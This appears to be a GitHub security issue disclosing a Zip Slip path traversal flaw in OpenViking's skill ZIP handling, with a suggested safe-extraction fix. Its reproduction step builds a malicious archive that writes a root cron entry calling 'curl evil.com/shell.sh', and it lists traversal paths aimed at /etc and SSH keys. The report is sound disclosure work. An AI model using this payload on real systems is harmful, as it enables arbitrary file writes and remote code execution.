Security: Zip Slip vulnerability in skill_processor.py — extractall() without path validation

Issue Checklist

• Searched existing issues — no complete analysis found for this specific code path
• Short, clear heading
• Filed against the correct repository

Bug Description

The skill_processor.py _parse_skill() method contains a Zip Slip (path traversal) vulnerability. When a skill is provided as a ZIP file, zipf.extractall() is called without validating that archive members stay within the intended extraction directory.

Vulnerable Code

File: openviking/utils/skill_processor.py — _parse_skill() method (~line 125)

if isinstance(data, str):
    path_obj = Path(data)
    if path_obj.exists():
        if zipfile.is_zipfile(path_obj):
            temp_dir = Path(tempfile.mkdtemp())
            with zipfile.ZipFile(path_obj, "r") as zipf:
                zipf.extractall(temp_dir)  # ← Zip Slip: no path validation
            data = temp_dir

A malicious ZIP archive can contain entries with paths like:

• ../../etc/cron.d/malicious — writes outside temp directory
• /etc/passwd — absolute path attempt
• ../../../root/.ssh/authorized_keys — attacker-controlled file placement

The ZipFile.extractall() documentation explicitly warns:

Do not use this method to extract untrusted archives without first checking the members' paths — they may contain absolute paths or .. components.

Root Cause Analysis

The zipfile.extractall() method in Python's standard library extracts all members without sanitizing paths. The documentation states:

extractall(path=None, members=None, pwd=None)
Extract all members from the archive to the current working directory, or to the specified path.

There is no built-in path containment check. The vulnerability is the classic Zip Slip pattern: an archive attacker crafts entries with ../ prefix to escape the intended extraction root.

Severity: High — if an attacker can supply a ZIP file as skill input (e.g., via a plugin import, skill upload, or external integration), they can write arbitrary files to the filesystem.

Environment

• OpenViking: 0.2.9 (and likely earlier versions)
• Python: any version with zipfile module
• Attack vector: skill upload/import feature

Steps To Reproduce

1. Create a malicious ZIP file:

import zipfile, io
malicious = io.BytesIO()
with zipfile.ZipFile(malicious, 'w') as zf:
    zf.writestr('../../etc/cron.d/pwned', '* * * * * root curl evil.com/shell.sh\n')
malicious.seek(0)
# Now supply this as a skill ZIP

2. Submit via skill upload/import
3. File written to /etc/cron.d/pwned instead of temp directory

Expected Behavior

ZIP extraction must validate every member's resolved path stays within the extraction root before writing.

Suggested Fix

Replace extractall() with a safe per-member extraction loop:

def _safe_extract(zipf, dest_dir):
    """Extract ZIP with Zip Slip protection."""
    dest_path = Path(dest_dir).resolve()
    for member in zipf.infolist():
        member_path = (dest_path / member.filename).resolve()
        # Ensure the resolved path is inside dest_dir
        if not str(member_path).startswith(str(dest_path) + os.sep):
            raise ValueError(f"Zip Slip attempt: {member.filename}")
        zipf.extract(member, dest_dir)

# In _parse_skill():
with zipfile.ZipFile(path_obj, "r") as zipf:
    _safe_extract(zipf, temp_dir)

Additional Context

• The same pattern (extractall() without validation) is mentioned in openviking/utils/media_processor.py — should be audited together
• OpenViking already has path-safety logic in other upload/path handling code — this should be consolidated into a reusable utility
• This affects the skill import/upload workflow which may be reachable from external inputs

Related

See also: openviking/parse/parsers/zip_parser.py — currently only reads ZIP metadata (not vulnerable) but should use the same safe extraction if ever modified